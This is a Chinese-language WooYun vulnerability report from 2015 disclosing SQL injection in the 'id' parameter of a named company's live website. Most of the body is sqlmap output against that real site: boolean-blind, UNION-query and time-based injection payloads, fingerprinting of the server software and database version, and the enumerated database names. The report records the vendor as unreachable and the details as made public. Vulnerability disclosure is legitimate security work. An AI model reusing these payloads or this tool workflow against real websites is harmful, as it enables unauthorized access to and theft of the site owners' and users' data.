当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-095492

漏洞标题:帮码国际SQL注射漏洞

相关厂商:帮码国际

漏洞作者: Royall_逆

提交时间:2015-02-04 17:05

修复时间:2015-03-21 17:06

公开时间:2015-03-21 17:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某处存在SQL注入,可以直接获取数据库信息!

详细说明:

注入地址:http://www.barcodebm.com/content.php?id=213
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 34 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=213 AND 1630=1630
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: id=-3889 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x3a6771753a,0x7464
6b564d4344535462,0x3a6a70693a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=213 AND SLEEP(5)
---
[19:34:12] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[19:34:12] [INFO] fetching database names
[19:34:12] [INFO] the SQL query used returns 2 entries
[19:34:13] [INFO] retrieved: "information_schema"
[19:34:14] [INFO] retrieved: "bangma"
available databases [2]:
[*] bangma
[*] information_schema
[19:34:14] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[19:34:14] [INFO] fetched data logged to text files under 'Z:\Hacker Tools\????\
????\sqlmap\output\www.barcodebm.com'

漏洞证明:

Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=213 AND 1630=1630
Type: UNION query
Title: MySQL UNION query (NULL) - 12 columns
Payload: id=-3889 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x3a6771753a,0x7464
6b564d4344535462,0x3a6a70693a),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=213 AND SLEEP(5)
---

修复方案:

版权声明:转载请注明来源 Royall_逆@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝